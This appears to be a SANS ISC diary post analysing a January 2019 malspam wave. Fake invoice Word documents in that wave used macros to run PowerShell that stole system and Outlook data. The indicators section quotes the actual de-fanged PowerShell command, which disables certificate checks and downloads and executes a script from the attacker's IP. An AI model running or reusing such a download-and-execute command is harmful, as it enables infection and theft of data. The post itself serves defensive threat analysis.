|
Introduction On Wednesday 2019-01-23 I ran across several hundred items from a wave of malicious spam (malspam). These emails had an attached Word document with malicious macro code. Opening the attached Word document and enabling macros would infect a vulnerable Windows host. The macro code in these Word documents uses Powershell to run a script retrieved from 162.244.32[.]180. This script is designed to steal system information and other sensitive data, sending it back to 162.244.32[.]180. There is no mechanism for persistence. This infection did not survive a reboot or even logging out of an infected user's account. Today's diary examines the emails and associated infection traffic from this wave of malspam seen on Wednesday 2019-01-23.
The emails Emails from this wave of malspam used a fake invoice or payment document. A typical example is shown in the image below.
The infection Opening the Word document and enabling macros on an infected host ran Windows Powershell on a Windows 7 host in my lab. This script initially generated an HTTPS traffic to 162.244.32[.]180 ending with ".png" for the URL. Network traffic generated by this infection did not generate any alerts for me. However, certificate data for the HTTPS traffic was unusual. Someone used "WW" for all of the fields to identify the certificate issuer.
Base64 strings from the Powershell script I noticed two very long base64 strings in the script returned from hxxps://162.244.32[.]180/[seven random letters].png. Decoding these base64 strings revealed two files. One was a gzip archive that contained a DLL file (tools.dll) run from system RAM. The other file was text-based script that gathered information from the system, including data from Microsoft Outlook profiles.
Indicators of Compromise (IoCs) The following are indicators for emails from this wave of malspam. Any malicious URLs, IP addresses, and domain names have been "de-fanged" to avoid issues when viewing today's diary. Date/time of the emails:
Subject lines:
Senders:
Attachment names:
7 examples of SHA256 hashes for these attached Word documents:
Powershell command after enabling macros on Word document (de-fanged): C:\Windows\system32\windowspowershell\v1.0\powershell.exe -nop
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};iex (New-Object System.Net.WebClient).DownloadString('hxxps://162.244.32[.]180/'+(-join ((97..122) | Get-Random -Count 7 | % {[char]$_}))+'.png')
SHA256 hash of gzip archive from base64 string in above Powershell script: SHA256 hash of DLL file (tools.dll) extracted from the above gzip archive: SHA256 hash of more script from base64 string in the above Powershell script: Example of HTTPS infection traffic (de-fanged):
HTTPS/SSL/TLS certificate issuer data from 162.244.32[.]180:
Final words Pcap and malware/artifacts associated with today's diary can be found here. --- |
Brad 339 Posts ISC Handler |
| Subscribe |
Jan 24th 2019 5 months ago |
Sign Up for Free or Log In to start participating in the conversation!
